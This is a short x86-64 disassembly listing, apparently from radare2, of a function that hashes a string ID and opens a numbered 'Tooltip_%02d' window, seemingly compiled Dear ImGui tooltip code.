nop word [rax + rax]
cmp r9b, 0x23
jne 0x140013a33
cmp byte [r8], r9b
jne 0x140013a33
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140013a20
not ecx
call fcn.14000aab0
test rax, rax
je 0x140013a9f
cmp byte [rax + 0xb6], 0
je 0x140013a9f
mov byte [rax + 0xbb], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xbd], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xd8], 1
mov edx, 0x10
inc word [rbx + 0x5b9a]
movsx r9d, word [rbx + 0x5b9a]
call fcn.140002fb0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14000d310
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14005cdc0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret